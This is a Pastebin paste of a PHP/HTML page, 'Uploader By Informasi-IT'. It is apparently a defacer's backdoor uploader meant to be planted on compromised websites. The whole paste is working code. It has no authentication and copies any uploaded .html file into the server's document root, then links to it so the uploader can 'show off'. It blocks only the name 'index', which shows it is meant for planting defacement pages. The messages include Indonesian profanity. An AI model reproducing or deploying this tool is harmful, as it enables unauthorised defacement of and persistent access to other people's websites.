Advertisement
Guest User

Untitled

a guest
May 23rd, 2020
252
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.67 KB | None | 0 0
  1. <!doctype html>
  2. <link rel="icon" type="image/png" href="https://e.top4top.io/p_1537bif0s0.jpg">
  3. <html lang="en">
  4. <head>
  5. <!-- Required meta tags -->
  6. <meta charset="utf-8">
  7. <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no">
  8. <meta name="author" content="Copyright @2020"> <!-- Copyright @2020 -->
  9. <link rel="icon" type="image/png" href="https://e.top4top.io/p_1537bif0s0.jpg">
  10. <meta name="description" content="N00bs 0nLy||Uploader SCS">
  11. <meta name="theme-color" content="#000">
  12. <!-- Bootstrap CSS -->
  13. <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">
  14. <link href="https://fonts.googleapis.com/css?family=Girassol&display=swap" rel="stylesheet">
  15. <link rel="icon" href="https://e.top4top.io/p_1537bif0s0.jpg" type="image/jpg">
  16. <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.1.0/css/font-awesome.min.css'>
  17. <link rel="icon" type="image/png" href="https://e.top4top.io/p_1537bif0s0.jpg">
  18. <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
  19. <script src='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.2.0/js/bootstrap.min.js'></script>
  20. <script src='https://unpkg.com/sweetalert/dist/sweetalert.min.js'></script>
  21. <title>Uploader By Informasi-IT</title>
  22. <style>
  23. html,body,.container{
  24. background: url(https://k.top4top.io/p_1534n3k320.gif) no-repeat center center/cover;
  25. position: fixed;
  26. margin: auto;
  27. height: 100%;
  28. top: 0; bottom: 0; left: 0; right:0;
  29. font-family: 'Girassol';
  30. color: #fff;
  31. }
  32. #ico{width:200px;height:150px;}
  33. </style>
  34. </head>
  35. <body>
  36. <iframe widllth="0%" height="0" scrolling="no" frameborder="no" loop="true" allow="autoplay" src="https://f.top4top.io/m_1570zhrkw0.mp3"></iframe>
  37. <div class="container text-center mx-auto">
  38. <h2 class="mt-3"><font color="#FFFFFF">Akses By Informasi-IT<br>www.Informasi-it.com</font></h2>
  39. <br>
  40. <br>
  41. <h4 class="mt-3"><font color="#FFFFFF">Uploader : .jpg .html .png .gif</font></h4><br>
  42. <form method="post" enctype="multipart/form-data">
  43. <div class="row">
  44. <div class="col">
  45. <input id="previews" placeholder="Pilih File" class="form-control bg-transparent text-white" readonly="readonly">
  46. </div>
  47.  
  48. <div class="col">
  49. <div class="input-group">
  50. <div class="custom-file">
  51. <input type="file" name="randsx" class="custom-file-input bg-transparent" id="FileSel">
  52. <label class="custom-file-label bg-transparent" for="previews"></label>
  53. </div>
  54. </div>
  55. </div>
  56. </div>
  57. <button type="submit" name="upload" class="btn btn-secondary btn-block bg-transparent mt-3" id="load" data-loading-text="<i class='fa fa-refresh fa-spin'></i> Sabar Gay(n)"><font color="#FFFFFF">Klik Me</font></button>
  58. </form><hr>
  59.  
  60. <?php
  61. $server = $_SERVER['DOCUMENT_ROOT'];
  62. $namaFile = $_FILES['randsx']['name'];
  63. $getcwd = "$server/$namaFile";
  64. $typeExt = pathinfo($namaFile, PATHINFO_EXTENSION);
  65. if(isset($_POST['upload'])){
  66. if($namaFile !== ''){
  67. if(is_writable($server)){
  68. if($typeExt === 'html'){
  69. if($namaFile !== 'index'){
  70. if(@copy($_FILES['randsx']['tmp_name'], $getcwd)){
  71. $akses = 'http://'.$_SERVER['HTTP_HOST'].'/';
  72. echo '<script>swal("Berhasil", "Silahkan Show off", "success")</script>';
  73. echo '<a href="'.$akses.$namaFile.'" target="_blank">Hasil?? klik me</a>';
  74. }else{
  75. echo '<script>swal("Wkwk Gagal", "Faktor Face, Maybe", "error"</script>';
  76. }
  77. }else{
  78. echo '<script>swal("Mau Ngindex??", "Gabisa Lah KONTOL!!!", "error")</script>';
  79. }
  80. }else{
  81. echo '<script>swal("Apasih??", "File Ekstensi Harus HTML anjg", "info")</script>';
  82. }
  83. }else{
  84. echo '<script>swal("Gagal Gay(n)", "Server Not Support", "error")</script>';
  85. }
  86. }else{
  87. echo '<script>swal("Hahh??", "Mau upload apaan??", "info")</script>';
  88. }
  89. }
  90. ?>
  91. <footer>
  92. <body dir="ltr" alink="#00FFFF" background="transparan" bgcolor="#000000" link="grey" text="grey" vlink="white">
  93. &copy; 2020 - <font color="#00FFFF"><a href="https://www.informasi-it.com">Informasi IT</font>
  94. </footer>
  95. </div>
  96. <script>
  97. document.getElementById('FileSel').onchange = function()
  98. {
  99. document.getElementById('previews').value = this.value;
  100. };
  101.  
  102. $('.btn').on('click', function(){
  103. var $this = $(this);
  104. $this.button('loading');
  105. });
  106.  
  107. </script>
  108. </body>
  109. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement